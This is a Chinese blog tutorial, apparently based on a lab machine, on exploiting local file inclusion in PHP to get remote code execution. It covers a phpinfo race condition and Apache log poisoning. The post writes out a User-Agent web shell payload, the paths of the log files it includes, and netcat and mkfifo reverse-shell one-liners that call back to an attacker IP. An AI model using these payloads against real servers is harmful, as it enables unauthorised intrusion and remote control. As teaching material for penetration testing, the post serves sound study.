LFI 漏洞的利用
LFI 漏洞的利用
- LFI(本地文件包含漏洞),这篇文章将介绍有关该漏洞的一些利用
1、phpinfo 漏洞信息利用
-
将LFI漏洞转变为远程代码执行(RCE)漏洞的竞争条件,服务器端需要满足以下条件:
- LFI漏洞
- 任何显示PHPInfo()配置输出的脚本
-
得到脚本后,我们需要修改脚本中的攻击载荷, 使用命令
locate php-reverse
定位可用的php载荷位置
/usr/share/laudanum/php/php-reverse-shell.php
- 将载荷中的内容复制到脚本中, 替换图片中横线部分
- 修改载荷中的IP地址和端口,然后将脚本的 LFIREQ 参数更改为我们在burpsuit中看到的参数。如:
LFIREQ="""GET /browse.php?file=%s
-
我们还必须将所有“=>”更改为“=>”,以便脚本正确编译。
-
然后使用nc接收反弹的shell
-
运行脚本
python3 phpinfo.py xxxip xxxport
(受害者ip和端口)
2、日志中毒
-
原理
- 日志中毒背后的想法是将一些 php 放入日志中,然后将它们加载到 php 将执行的位置。如果我们查看访问日志,我们会看到每次访问该站点时,都会有一个条目,其中包含所访问的 url 和浏览器访问的用户代理字符串。
- 最简单的情况是更改我们的用户代理字符串,使其包含 php,然后将该日志文件包含在我们的 LFI 中。我们也可以毒化 url 字段,但访问类似
http://10.10.10.84/browse.php?not_an_arg=[php code]
. 只要我们能把我们的php写入日志,我们就成功了。
-
我们需要定位到日志文件的位置,这里以apache为例,通过google我们可以知道配置文件一般在
/usr/local/etc/apache24/httpd.conf
目录,查看配置文件,我们可以找到日志文件位置:
ErrorLog "/var/log/httpd-error.log"
CustomLog "/var/log/httpd-access.log"
- 打开burpsuit,获取日志文件页面页面并对其修改
- 由于用户代理(User-Agent)这一部分是由我们用户决定的,所以我们可以将这一部分换成我们的漏洞代码
<?php system($_GET['c']); ?>
-
通过修改参数c的值,我们可以在网页得到不同的结果
-
于是将反弹shell传值给c,第一次使用代码
nc -e /bin/bash 10.10.14.27 4444
,结果只是连接上了靶机,但是未能反弹shell,这就说明了靶机的nc版本不支持-e 参数,于是使用nc的另一种反弹shell方式,代码:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
- 查看本地监听器,会发现有结果了
本文来自博客园,作者:mxrmiss,转载请注明原文链接:https://www.cnblogs.com/soulblog/p/15782539.html